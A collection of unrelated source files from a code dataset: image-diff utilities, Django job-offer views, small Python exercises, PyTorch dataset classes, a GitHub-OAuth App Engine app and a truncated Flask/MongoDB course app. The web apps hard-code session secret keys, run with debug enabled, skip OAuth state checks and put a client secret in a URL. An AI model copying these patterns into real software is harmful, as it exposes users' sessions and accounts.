+{"seq_id":"289671870","text":"#set of utitlity functions to print/ save output images and errors\nimport numpy as np\nimport cv2\n\n#function to calculate and save error metric and difference between ground truth and estimated states\n#returns the error metric and saves difference image as a png\n#Pixels map:\n# Ground truth == estimate: 0\n# Ground truth =/= estimate: 255\ndef compareWithGroundTruth(state_GT, state_est, filename = \"diff_image.png\"):\n diff_image = np.zeros((state_GT.shape[0], state_GT.shape[1], 3));\n #diff_image[state_GT == state_est] = 0\n diff_image[state_GT > state_est] = (0, 255, 0)\n diff_image[state_GT < state_est] = (0, 0, 255)\n saveImagePNG(diff_image, filename);\n #cv2.imwrite(filename, diff_image, cv2.CV_IMWRITE_PNG_COMPRESSION, 0)\n #error = np.ones((state_GT.shape[0], state_GT.shape[1]));\n #error[state_GT == state_est] = 0\n #return np.sum(np.sum(error))\n error = np.linalg.norm(diff_image)\n error = error ** 2;\n return error\n\n\n##Function to display the grid map as image\n#params: single frame,a 2d image\ndef saveImagePNG(img, fileName = \"temp.png\"):\n if img is not None:\n cv2.imwrite(fileName, img)\n\n","sub_path":"OccGrid/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"415422077","text":"import json\nimport logging\nfrom threading import Thread\n\nfrom django.contrib import messages\nfrom django.core.mail import EmailMessage\nfrom django.core.urlresolvers import reverse\nfrom django.db.models.fields.files import FieldFile\nfrom django.utils.translation import activate, ugettext as _\nfrom django.shortcuts import render, get_object_or_404\n\n# Create your views here.\n\nfrom django.db.models.fields.files import ImageFieldFile as DjangoImageFieldFile, FieldFile\nfrom django.views.generic import TemplateView\nfrom django.http.response import HttpResponseRedirect, Http404, HttpResponse, HttpResponseForbidden\n\nfrom ikwen.core.generic import ChangeObjectBase\nfrom ikwen.conf.settings import WALLETS_DB_ALIAS, MEDIA_URL, MEMBER_AVATAR\nfrom ikwen.core.constants import MALE, FEMALE\nfrom ikwen.core.models import Application, Service\nfrom ikwen.core.fields import MultiImageFieldFile, ImageFieldFile\nfrom ikwen.core.utils import add_database, get_service_instance, get_mail_content, send_sms, send_push, XEmailMessage, \\\n get_preview_from_extension\nfrom ikwen.core.views import HybridListView\nfrom ikwen.accesscontrol.backends import UMBRELLA\nfrom ikwen.accesscontrol.models import Member\n\nfrom careers.admin import LocationAdmin, DomainAdmin, OfferAdmin, ApplicationAdmin\nfrom careers.models import Location, Domain, Offer, Application\nfrom conf import settings\n\nlogger = logging.getLogger('ikwen')\n\n\nclass Home(TemplateView):\n template_name = 'careers/home.html'\n\n def get(self, request, *args, **kwargs):\n domain = request.GET.get('domain')\n if domain:\n offer_list = [offer for offer in Offer.objects.filter(domain=domain)]\n return HttpResponse(json.dumps({'offer_list': offer_list}, 'content-type: text/json'))\n return super(Home, self).get(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super(Home, self).get_context_data(**kwargs)\n context['domain_list'] = [domain for domain in Domain.objects.all()]\n context['offer_list'] = [offer for offer in Offer.objects.all()]\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\nclass ShowOfferList(TemplateView):\n template_name = 'careers/show_offer_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(ShowOfferList, self).get_context_data(**kwargs)\n context['offer_list'] = list(Offer.objects.all())\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\nclass OfferDetail(TemplateView):\n template_name = 'careers/offer_detail.html'\n\n def get_context_data(self, **kwargs):\n context = super(OfferDetail, self).get_context_data(**kwargs)\n offer_slug = kwargs['offer_slug']\n context['offer'] = get_object_or_404(Offer, slug=offer_slug)\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\nclass ShowLocationList(TemplateView):\n template_name = 'careers/show_location_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(ShowLocationList, self).get_context_data(**kwargs)\n location_list = []\n for location in Location.objects.all():\n offer_count = Offer.objects.filter(location=location).count()\n location.offer_count = offer_count\n location_list.append(location)\n context['location_list'] = location_list\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\nclass ShowDomainList(TemplateView):\n template_name = 'careers/show_domain_list.html'\n\n def get_context_data(self, **kwargs):\n context = super(ShowDomainList, self).get_context_data(**kwargs)\n domain_list = [domain for domain in Domain.objects.all()]\n for domain in domain_list:\n domain.available_offer_count = Offer.objects.filter(domain=domain).count()\n context['domain_list'] = domain_list\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\nclass ShowOfferPerLocation(TemplateView):\n template_name = 'careers/show_offer_per_location.html'\n\n def get_context_data(self, **kwargs):\n context = super(ShowOfferPerLocation, self).get_context_data(**kwargs)\n location_slug = kwargs['location_slug']\n location = Location.objects.get(slug=location_slug)\n context['offer_list'] = Offer.objects.filter(location=location)\n domain_list = [offer.domain for offer in Offer.objects.filter(location=location)]\n context['domain_count'] = len(set(domain_list))\n context['location'] = location\n return context\n\n\nclass ShowOfferPerDomain(TemplateView):\n template_name = 'careers/show_offer_per_domain.html'\n\n def get_context_data(self, **kwargs):\n context = super(ShowOfferPerDomain, self).get_context_data(**kwargs)\n domain_slug = kwargs['domain_slug']\n domain = get_object_or_404(Domain, slug=domain_slug)\n context['offer_list'] = Offer.objects.filter(domain=domain)\n location_list = [offer.location for offer in Offer.objects.filter(domain=domain)]\n context['location_count'] = len(set(location_list))\n context['domain'] = domain\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\nclass LocationList(HybridListView):\n model = Location\n model_admin = LocationAdmin\n\n\nclass ChangeLocation(ChangeObjectBase):\n model = Location\n model_admin = LocationAdmin\n label_field = 'town'\n\n\nclass DomainList(HybridListView):\n model = Domain\n model_admin = DomainAdmin\n\n\nclass ChangeDomain(ChangeObjectBase):\n model = Domain\n model_admin = DomainAdmin\n label_field = 'name'\n\n\nclass OfferSubmission(ChangeObjectBase):\n model = Application\n model_admin = ApplicationAdmin\n template_name = 'careers/offer_submission.html'\n\n def get_object(self, **kwargs):\n offer_slug = kwargs.get('offer_slug')\n offer = get_object_or_404(Offer, slug=offer_slug)\n try:\n application = Application.objects.get(member=self.request.user, offer=offer)\n return application\n except:\n pass\n\n def get_context_data(self, **kwargs):\n context = super(OfferSubmission, self).get_context_data(**kwargs)\n offer_slug = kwargs.get('offer_slug')\n context['offer'] = get_object_or_404(Offer, slug=offer_slug)\n context['location_list'] = [location for location in Location.objects.all()]\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n def after_save(self, request, obj, *args, **kwargs):\n weblet = get_service_instance()\n offer_slug = kwargs.get('offer_slug')\n obj.member = request.user\n obj.save(using='default')\n staff_emails = [member.email for member in Member.objects.using(UMBRELLA).filter(is_staff=True)]\n\n subject = _(\"Thank you for your application\")\n cta_url = \"https://ikwen.com\"\n applicant = obj.member\n try:\n html_content = get_mail_content(subject, template_name='careers/mails/thanks.html',\n extra_context={'applicant_name': applicant.full_name,\n 'offer': obj.offer,\n 'cta_url': cta_url})\n sender = 'Careers @ %s ' % (weblet.project_name, weblet.domain)\n msg = EmailMessage(subject, html_content, sender, [applicant.email])\n msg.bcc = staff_emails\n msg.content_subtype = \"html\"\n if getattr(settings, 'UNIT_TESTING', False):\n msg.send()\n else:\n Thread(target=lambda m: m.send(), args=(msg,)).start()\n except:\n logger.error(\"%s - Failed to send notice mail to %s.\" % (weblet, applicant.first_name), exc_info=True)\n body = _('Congratulation!!! We received your application for position as %(position)s' % {'position': obj.offer.name})\n send_push(weblet, applicant, subject, body, cta_url)\n return HttpResponseRedirect(reverse('careers:thanks', args=(offer_slug,)))\n\n\nclass OfferList(HybridListView):\n model = Offer\n model_admin = OfferAdmin\n\n\nclass ChangeOffer(ChangeObjectBase):\n model = Offer\n model_admin = OfferAdmin\n template_name = 'careers/change_offer.html'\n\n\nclass ApplicationList(HybridListView):\n model = Application\n model_admin = ApplicationAdmin\n list_filter = ('offer',)\n\n\nclass ChangeApplication(ChangeObjectBase):\n model = Application\n model_admin = ApplicationAdmin\n\n\nclass Thanks(TemplateView):\n template_name = 'careers/thanks.html'\n\n def get_context_data(self, **kwargs):\n context = super(Thanks, self).get_context_data(**kwargs)\n offer_slug = kwargs.get('offer_slug')\n context['offer'] = get_object_or_404(Offer, slug=offer_slug)\n service = get_service_instance()\n context['service'] = service\n context['config'] = service.config\n context['user'] = self.request.user\n return context\n\n\n\n\n\n\n","sub_path":"careers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"14201296","text":"# Lucky Unicorn payment mechanic\r\n\r\n# To do\r\n# Assume starting amount is $10\r\n# Allow manual token input for testing purposes\r\n# Adjust total correctly for a given token\r\n# - if it's a Unicorn = +5\r\n# - if it's a Donkey = -1\r\n# - if it's a Zebra / Horse = -0.5\r\n# Give user feedback based on winnings...\r\n# State new total\r\n\r\n# Assume starting amount is $10\r\ntotal = 10\r\n\r\n# Allow manual token input for testing purposes\r\ntoken = input(\"Enter a token: \")\r\n\r\n# Adjust total correctly for a given token\r\nif token == \"unicorn\":\r\n total += 5\r\n feedback = \"you wont $5! \"\r\nelif token == \"Donkey\":\r\n total -= 1\r\n feedback = \"Sorry! you lost $1 \"\r\nelse:\r\n total -= 0.5\r\n feedback = \"Sorry! you lost 50 cents \"\r\n\r\nprint()\r\n\r\nprint(feedback)\r\nprint(\"You have {} left to play with\".format(total))\r\n\r\n","sub_path":"04_Lucky_Unicorn.py","file_name":"04_Lucky_Unicorn.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"493083670","text":"\ndef debruijn(text, k):\n node_dict = {}\n for i in range(len(text) - k + 1):\n lnode = text[i:i + k - 1]\n rnode = text[i + 1:i + k]\n if lnode in node_dict:\n node_dict[lnode] += (i + 1, )\n else:\n node_dict[lnode] = [i + 1]\n for lnode, rnode_indices in node_dict.items():\n yield lnode, rnode_indices\n \n\nk = int(input())\ntext = input()\n\n# sorting logic necessary for test acceptance\nfor lnode, rnode_indices in sorted(debruijn(text, k)):\n rnodes = [text[i:i + k - 1] for i in rnode_indices]\n rnodes = sorted(rnodes)\n rnodes = ','.join(rnodes)\n print(lnode, '->', rnodes)\n","sub_path":"python/bioinformatics/week4/debruijn-graph-string.py","file_name":"debruijn-graph-string.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"124780566","text":"import pandas as pd\nimport torch\nfrom typing import List\nfrom torch.utils.data import Dataset\nfrom src.data.dictionary import Dictionary, TokenDictionary\n\n\nclass LanguageModelDataset(Dataset):\n def __init__(\n self,\n data: List[str],\n max_seq_len: int,\n max_char_len: int,\n seq_vocab: TokenDictionary,\n char_vocab: TokenDictionary,\n ):\n self.max_seq_len = max_seq_len\n self.max_char_len = max_char_len\n self.data = data\n self.seq_vocab = seq_vocab\n self.char_vocab = char_vocab\n\n def __len__(self):\n return len(self.data)\n\n def n_tokens(self):\n return len(self.seq_vocab)\n\n def n_chars(self):\n return len(self.char_vocab)\n\n def __getitem__(self, index):\n max_seq_len = self.max_seq_len\n max_char_len = self.max_char_len\n\n text = self.data[index]\n tokens = text.split(' ')\n if len(tokens) >= max_seq_len:\n tokens = tokens[: max_seq_len - 2]\n x_tokens = [self.seq_vocab.bos_token]\n y_tokens = tokens\n\n x_tokens.extend(tokens)\n x_tokens.append(self.seq_vocab.eos_token)\n\n x_vector, x_mask = self.seq_vocab.encode(x_tokens, max_len=max_seq_len)\n y_vector, y_mask = self.seq_vocab.encode(y_tokens, max_len=max_seq_len)\n x_chars_vector = torch.zeros((max_seq_len, max_char_len), dtype=torch.int64)\n mask_chars = torch.zeros((max_seq_len, max_char_len), dtype=torch.int64)\n for i, token in enumerate(tokens):\n char_vector, mask_c = self.char_vocab.encode(list(token), max_len=max_char_len)\n x_chars_vector[i + 1] = char_vector\n mask_chars[i + 1] = mask_c\n \n return x_vector, y_vector, x_mask, x_chars_vector\n\n @classmethod\n def from_csv(cls, file_path: str, text_col='text'):\n data_df = pd.read_csv(file_path, usecols=[text_col])\n\n seq_vocab = TokenDictionary()\n char_vocab = TokenDictionary()\n\n max_seq_len = 0\n max_token_len = 0\n for i, row in data_df.iterrows():\n tokens = row['text'].split(' ')\n chars = list(set([c for c in row['text']]))\n\n max_seq_len = max(max_seq_len, len(tokens))\n max_token_len = max(max_token_len, max([len(token) for token in tokens]))\n\n seq_vocab.add_items(tokens)\n char_vocab.add_items(chars)\n\n return cls(\n data_df,\n max_seq_len,\n max_token_len,\n seq_vocab,\n char_vocab\n )\n\n\nclass LabelDataset(Dataset):\n def __init__(\n self,\n data_df,\n seq_vocab: TokenDictionary,\n sent_dict: Dictionary,\n topic_dict: Dictionary,\n char_vocab: TokenDictionary = None,\n max_seq_len: int = None,\n max_char_len: int = None,\n ):\n\n self.data_df = data_df\n self.seq_vocab = seq_vocab\n self.sent_dict = sent_dict\n self.topic_dict = topic_dict\n self.char_vocab = char_vocab\n\n if max_seq_len is not None:\n self.max_seq_len = max_seq_len\n else:\n self.max_seq_len = self.compute_max_seq_len() + 1\n\n if max_char_len is not None:\n self.max_char_len = max_char_len\n else:\n self.max_char_len = self.compute_max_char_len() + 1\n\n def __len__(self):\n return len(self.data_df)\n\n def n_tokens(self):\n return len(self.seq_vocab)\n\n def n_sent(self):\n return len(self.sent_dict)\n\n def n_topic(self):\n return len(self.topic_dict)\n\n def compute_max_seq_len(self):\n texts = self.data_df['text'].tolist()\n max_seq_len = 0\n for text in texts:\n max_seq_len = max(max_seq_len, len(text.split(' ')))\n return max_seq_len\n\n def compute_max_char_len(self):\n texts = self.data_df['text'].tolist()\n max_char_len = 0\n for text in texts:\n max_char_len = max(max_char_len, max(len(token) for token in text.split(' ')))\n return max_char_len\n\n def __getitem__(self, index):\n row = self.data_df.iloc[index]\n x_tokens = row['text'].split(' ')\n if len(x_tokens) > self.max_seq_len:\n x_tokens = x_tokens[:self.max_seq_len]\n n_tokens = len(x_tokens)\n sent_label = row['sentiment']\n topic_label = row['topic']\n x_vector, x_mask = self.seq_vocab.encode(x_tokens, max_len=self.max_seq_len)\n sent_vector = self.sent_dict.index(sent_label)\n topic_vector = self.topic_dict.index(topic_label)\n\n if self.char_vocab is not None:\n\n chars_vector = torch.zeros((self.max_seq_len, self.max_char_len), dtype=torch.int64)\n mask_chars = torch.zeros((self.max_seq_len, self.max_char_len), dtype=torch.int64)\n for i, token in enumerate(x_tokens):\n char_vector, mask_c = self.char_vocab.encode(list(token), max_len=self.max_char_len)\n chars_vector[i] = char_vector\n mask_chars[i] = mask_c\n\n return x_vector, sent_vector, topic_vector, x_mask, chars_vector\n\n return x_vector, sent_vector, topic_vector, x_mask\n\n @classmethod\n def from_csv(cls, file_path: str, text_col='text', sent_col='sentiment', topic_col='topic', multi_label=False):\n data_df = pd.read_csv(file_path, usecols=[text_col, sent_col, topic_col])\n data_df = data_df.rename({text_col: 'text', sent_col: 'sentiment', topic_col: 'topic'}, axis='columns')\n\n seq_vocab = TokenDictionary()\n sent_dict = Dictionary()\n topic_dict = Dictionary()\n char_vocab = TokenDictionary()\n\n max_seq_len = 0\n for i, row in data_df.iterrows():\n tokens = row['text'].split(' ')\n max_seq_len = max(max_seq_len, len(tokens))\n\n sentiment = row['sentiment'].split(' ')\n sent_dict.add_items(sentiment)\n\n topic = row['topic'].split(' ')\n topic_dict.add_items(topic)\n\n for token in tokens:\n char_vocab.add_items(list(token))\n\n return cls(\n data_df,\n seq_vocab=seq_vocab,\n sent_dict=sent_dict,\n topic_dict=topic_dict,\n char_vocab=char_vocab,\n max_seq_len=max_seq_len,\n )","sub_path":"src/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"394484963","text":"import webapp2\nimport jinja2\nimport requests\nimport json\nimport os\nfrom datetime import datetime\nfrom google.appengine.ext import db\nfrom webapp2_extras import sessions\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\njinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir),\n autoescape = True)\n\n#Base handler handles user sessions.\nclass BaseHandler(webapp2.RequestHandler):\n def dispatch(self):\n # Get a session store for this request.\n self.session_store = sessions.get_store(request=self.request)\n \n try:\n # Dispatch the request.\n webapp2.RequestHandler.dispatch(self)\n finally:\n # Save all sessions.\n self.session_store.save_sessions(self.response)\n \n @webapp2.cached_property\n def session(self):\n # Returns a session using the default cookie key.\n return self.session_store.get_session()\n\n\n\nclass Userdata(db.Model):\n user_login_id = db.StringProperty()\n fullname = db.StringProperty()\n website = db.StringProperty()\n bio = db.StringProperty()\n email = db.StringProperty()\n location = db.StringProperty()\n avatar_url = db.LinkProperty()\n user_html_url = db.LinkProperty()\n followers = db.IntegerProperty()\n following = db.IntegerProperty()\n followers_url = db.LinkProperty()\n following_url = db.LinkProperty()\n repos_url = db.LinkProperty()\n created_at = db.StringProperty()\n updated_at = db.StringProperty()\n lang_tags= db.ListProperty(str)\n\n\n\nclass Repodata(db.Model):\n user_login_id = db.StringProperty(required=True)\n repo_name = db.StringProperty(required=True)\n language = db.StringProperty()\n forks = db.IntegerProperty(required=True)\n stars = db.IntegerProperty(required=True)\n repo_html_url = db.LinkProperty(required=True)\n homepage = db.StringProperty()\n description = db.StringProperty()\n\nclass PromotedRepos(db.Model):\n promoting_repo_name = db.StringProperty()\n promoting_user_name = db.StringProperty()\n promoting_user_fullname = db.StringProperty()\n promoting_user_avatar_url = db.LinkProperty()\n promoted_time = db.DateTimeProperty(auto_now=True)\n promoting_repo_language = db.StringProperty()\n promoting_repo_forks = db.StringProperty()\n promoting_repo_stars = db.StringProperty()\n promoting_repo_description = db.StringProperty(multiline=True)\n promoting_reason = db.StringProperty(multiline=True)\n\n\n\n\nclass MainHandler(BaseHandler):\n def get(self):\n #User id logged in. Renders Homepage of the logged in user!\n if self.session.get('user_login_id'):\n user_login_id = self.session.get('user_login_id')\n user_data = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :g\",g=user_login_id)\n homepage_posts = db.GqlQuery(\"SELECT * FROM PromotedRepos ORDER BY promoted_time DESC LIMIT 50\")\n #pcount = db.GqlQuery(\"SELECT repo_stat FROM PromotedRepos WHERE promoting_repo_language= :l2\",l2='Python').get()\n template_values={'user_login_id':user_login_id,'homepage_posts':homepage_posts,'user_data':user_data}\n template = jinja_env.get_template('homepage.html')\n self.response.out.write(template.render(template_values))\n else:\n #User is not logged in. Renders Signup page!\n template_values={}\n template = jinja_env.get_template('index.html')\n self.response.out.write(template.render(template_values))\n\n\n\nclass Developer(BaseHandler):\n def get(self):\n url_queries = self.request.GET\n state = url_queries['state']\n code = url_queries['code']\n url = 'https://github.com/login/oauth/access_token?client_id=CLIENT_ID&client_secret=THIS IS SECRET :P&redirect_uri=http://gitpromote.appspot.com/dev&code='+str(code)\n req = requests.post(url)\n req = str(req.content)\n access_token = \"\"\n i = 13\n while (req[i]!='&'):\n access_token = access_token + req[i]\n i = i + 1\n\n user_api_url = 'https://api.github.com/user?access_token='+str(access_token)\n user_json_data = requests.get(user_api_url)\n d = json.loads(user_json_data.content)\n user_login_id = d['login']\n q = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :w\",w=user_login_id).fetch(limit=2)\n #if len(q)>0:\n # self.redirect('http://gitpromote.appspot.com')\n # return\n if 'name' in d:\n fullname = d['name']\n else:\n fullname=\"\"\n\n self.session['user_login_id'] = user_login_id\n\n avatar_url = d['avatar_url']\n user_html_url = d['html_url']\n if 'blog' in d:\n website = d['blog']\n else:\n website=\"\"\n if 'email' in d:\n email = d['email']\n else:\n email=\"\"\n if 'location' in d:\n location = d['location']\n else:\n location=\"\"\n public_repos = d['public_repos']\n bio=\"\"\n followers = d['followers']\n following = d['following']\n repos_url = d['repos_url']\n followers_url = d['followers_url']\n following_url = d['following_url']\n created_at = d['created_at']\n updated_at = d['updated_at']\n\n lang = []\n res = requests.get(str(repos_url))\n repo_data = json.loads(res.content)\n for i in repo_data:\n if not i['fork'] and not i['private']:\n repo_name = i['name']\n repo_html_url = i['html_url']\n user_login_id = i['owner']['login']\n language = i['language']\n forks = i['forks']\n stars = i['stargazers_count']\n homepage = i['homepage']\n description = i['description']\n lang.append(language)\n if len(q)==0:\n repo_instance = Repodata(key_name=repo_name,repo_name=repo_name,user_login_id=user_login_id,forks=forks,repo_html_url=repo_html_url,stars=stars,language=language,homepage=str(homepage),description=description)\n repo_instance.put()\n\n if len(q)>0:\n repo_instance = Repodata(key_name=repo_name,repo_name=repo_name,user_login_id=user_login_id,forks=forks,repo_html_url=repo_html_url,stars=stars,language=language,homepage=str(homepage),description=description)\n repo_instance.put()\n \n lang_list = list(set(lang))\n if None in lang_list:\n lang_list.remove(None)\n\n if len(q)>0:\n user_instance = Userdata(key_name=user_login_id,repos_url=repos_url,public_repos=public_repos,created_at=created_at,updated_at=updated_at,lang_tags=lang_list,fullname=fullname,user_login_id=user_login_id,avatar_url=avatar_url,user_html_url=user_html_url,website=website,email=email,location=location,following=following,followers=followers,following_url=following_url,followers_url=followers_url)\n user_instance.put()\n self.redirect('/user/'+str(user_login_id))\n \n if len(q)==0:\n user_instance = Userdata(key_name=user_login_id,repos_url=repos_url,bio=bio,public_repos=public_repos,created_at=created_at,updated_at=updated_at,lang_tags=lang_list,fullname=fullname,user_login_id=user_login_id,avatar_url=avatar_url,user_html_url=user_html_url,website=website,email=email,location=location,following=following,followers=followers,following_url=following_url,followers_url=followers_url)\n user_instance.put()\n self.redirect('/details')\n\n\n\nclass Details(BaseHandler):\n def get(self):\n user_login_id = self.session.get('user_login_id')\n user_info = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :v\",v=user_login_id)\n template_values = {'user_info':user_info}\n template = jinja_env.get_template('extrainfo.html')\n self.response.out.write(template.render(template_values)) \n\nclass Redirecting(BaseHandler):\n def post(self):\n user_login_id = self.session.get('user_login_id')\n fullname = self.request.get('fullname')\n bio = self.request.get('bio')\n email = self.request.get('email')\n website=self.request.get('website')\n user_info = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :g\",g=user_login_id)\n user_info.fullname = fullname\n user_info.bio = bio\n user_info.email = email\n user_info.website = website\n self.redirect('/user/'+user_login_id)\n\nclass ProfileHandler(BaseHandler):\n def get(self):\n #self.redirect('href=\"https://github.com/login/oauth/authorize?state=gitpromote&redirect_uri=http://gitpromote.appspot.com/dev&client_id=a454ac3fef0a7cde71df&scope=user')\n user_login_id = self.session.get('user_login_id')\n current_url = self.request.url\n userid = current_url.split('/')[4]\n qq = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :u\",u=userid).fetch(limit=2)\n if len(qq)==0:\n self.response.out.write(userid+\" has not yet created a profile on gitpromote. Invite him!\")\n return\n user_info = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :a\",a=userid)\n repo_info = db.GqlQuery(\"SELECT * FROM Repodata WHERE user_login_id= :b\",b=userid)\n template_values = {\n 'userid':userid,\n 'user_login_id':user_login_id,\n 'repo_info' :repo_info,\n 'user_info':user_info\n }\n template = jinja_env.get_template('profilepage.html')\n self.response.out.write(template.render(template_values))\n\n\nclass Repository(BaseHandler):\n def get(self):\n user_login_id = self.session.get('user_login_id')\n current_url = self.request.url\n repo_enquired = current_url.split('/')[4]\n\n repo_info = db.GqlQuery(\"SELECT * FROM Repodata WHERE repo_name= :c\",c=repo_enquired)\n user_info = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :x\",x=user_login_id)\n #is_it_promoted = db.GqlQuery(\"SELECT * FROM PromotedRepos WHERE promoting_repo_name= :g\",g=repo_enquired).fetch(limit=1)\n #if len(is_it_promoted)>0:\n # pt = db.GqlQuery(\"SELECT promoted_time FROM PromotedRepos WHERE promoting_repo_name= :h\",h=repo_enquired)\n # ps = \"Last promoted at: \"\n #else:\n # pt = \"\"\n # ps = \"Repository not yet promoted!\"\n template_values = {\n #'pt':pt,\n #'ps':ps,\n 'user_info':user_info,\n 'user_login_id':user_login_id,\n 'repo_info':repo_info\n }\n template = jinja_env.get_template('repo.html')\n self.response.out.write(template.render(template_values))\n\n\nclass Promote(BaseHandler):\n def post(self):\n promoting_repo_name = self.request.get('promoting_repo_name')\n promoting_user_name = self.request.get('promoting_user_name')\n pro= db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :l\",l=promoting_user_name).get()\n promoting_user_fullname = pro.fullname\n promoting_repo_language = self.request.get('promoting_repo_language')\n promoting_user_avatar_url = pro.avatar_url\n promoting_repo_forks = self.request.get('promoting_repo_forks')\n promoting_repo_stars = self.request.get('promoting_repo_stars')\n promoting_reason = self.request.get('promoting_reason')\n promoted_time = datetime.now()\n promoting_repo_description = self.request.get('promoting_repo_description')\n pr1 = PromotedRepos(key_name=promoting_repo_name,promoting_reason=promoting_reason,promoting_repo_stars=promoting_repo_stars,promoting_user_fullname=promoting_user_fullname,promoting_user_avatar_url=promoting_user_avatar_url,promoting_repo_description=promoting_repo_description,promoting_repo_forks=promoting_repo_forks,promoting_repo_language=promoting_repo_language,promoting_user_name=promoting_user_name,promoting_repo_name=promoting_repo_name,promoted_time=promoted_time)\n pr1.put()\n \n\n self.redirect('http://gitpromote.appspot.com')\n\nclass Tag(BaseHandler):\n def get(self):\n current_url = self.request.url\n tag = current_url.split('/')[4]\n homepage_tagged_posts = db.GqlQuery(\"SELECT * FROM PromotedRepos WHERE promoting_repo_language= :e\",e=tag)\n user_login_id = self.session.get('user_login_id')\n user_data = db.GqlQuery(\"SELECT * FROM Userdata WHERE user_login_id= :j\",j=user_login_id)\n template_values = {\n 'homepage_tagged_posts':homepage_tagged_posts,\n 'user_data':user_data\n }\n template = jinja_env.get_template('homepage-tagged.html')\n self.response.out.write(template.render(template_values))\n\n\nclass Signout(BaseHandler):\n def get(self):\n if self.session.get('user_login_id'):\n del self.session['user_login_id']\n\n self.redirect('http://gitpromote.appspot.com')\n\n\n\nconfig = {}\nconfig['webapp2_extras.sessions'] = {'secret_key': 'some-secret-key-to-use','cookie_args':{'max_age':604800}}\n\napp = webapp2.WSGIApplication([('/', MainHandler),\n ('/dev',Developer),\n ('/user/.*',ProfileHandler),\n ('/red',Redirecting),\n ('/details',Details),\n ('/repo/.*',Repository),\n ('/promote',Promote),\n ('/tagged/.*',Tag),\n ('/signout',Signout)\n ], config=config, debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"166234914","text":"# coding=utf-8\n\n'''\nRequirements:\n\n python3\n flask\n flask_pymongo\n'''\n\nfrom flask import Flask, jsonify, request, render_template, session\nfrom flask_pymongo import PyMongo\n\n# Create a Flask application\napp = Flask(__name__)\napp.secret_key = 'any random string'\napp.config['DEBUG'] = True\n# Configure MongoDB connection\napp.config['MONGO_DBNAME'] = 'test'\napp.config['MONGO_URI'] = 'mongodb://127.0.0.1:27017/test'\n\nmongo = PyMongo(app, False)\n\n# Instantiate MongoDB\n# index page\n@app.route('/')\ndef index():\n mongo.db.courses.delete_many({})\n\n mongo.db.courses.insert_one({\n \"id\" : \"coursenames\",\n \"cursos\" : [\n [\"Matematica\", \"coursematematica\" ],\n [ \"Língua Portuguesa\", \"courselingport\" ],\n [ \"Biologia\", \"coursebio\" ],\n [ \"Artes\", \"courseartes\" ],\n [ \"Física\", \"coursefis\" ],\n [ \"Filosofia\", \"coursefis\" ],\n [ \"Química\", \"coursequi\" ],\n [ \"História\", \"coursehist\" ],\n [ \"Sociologia\", \"coursesocio\" ],\n [ \"Geografia\", \"coursegeo\" ],\n [ \"Inglês\", \"courseing\" ]\n ]\n })\n\n mongo.db.courses.insert_one({\n \"id\" : \"Matematica\",\n \"cursos\" : [\n [ \"Geometria\", \"coursegeometria\" ]\n ]\n })\n mongo.db.courses.insert_one({\n \"id\" : \"coursegeometria\",\n \"cursos\" : [\n [ \"Retas\", \"retascourse\" ],\n [ \"Ângulos\", \"anguloscourse\" ],\n [ \"Formas\", \"formascourse\" ],\n [ \"Triângulos\", \"trianguloscourse\" ],\n [ \"Quadriláteros\", \"quadrilateroscourse\" ],\n [ \"Plano Cartesiano\",\"planocartcourse\" ],\n [ \"Área e Perímetro\", \"areapcourse\" ],\n [ \"Volume\", \"volcourse\" ],\n [ \"Teorema de Pitágoras\", \"pitagcourse\" ]\n ]\n })\n\n return render_template('index.html')\n\n### USER METHODS #####################################\n\n#Generate page for specific user\ndef render_userpage(user):\n if not user is None:\n session['logged_in'] = True\n session['username'] = user['username']\n session['name'] = user['name']\n session['email'] = user['email']\n session['type'] = user['type']\n session['score'] = 0\n session['courses'] = mongo.db.courses.find_one({\"id\":\"coursenames\"})['cursos']\n session['matematica'] = mongo.db.courses.find_one({\"id\":\"Matematica\"})['cursos']\n for course in session['matematica']:\n session[course[1]] = mongo.db.courses.find_one({\"id\":course[1]})['cursos']\n session['links'] = mongo.db.links.find_one({'username':user['username']})['links']\n session['questions'] = mongo.db.questions.find_one({'username':user['username']})['questions']\n cursor = mongo.db.questions.find({})\n allquestions = []\n for doc in cursor:\n doc['_id'] = str(doc['_id'])\n for question in 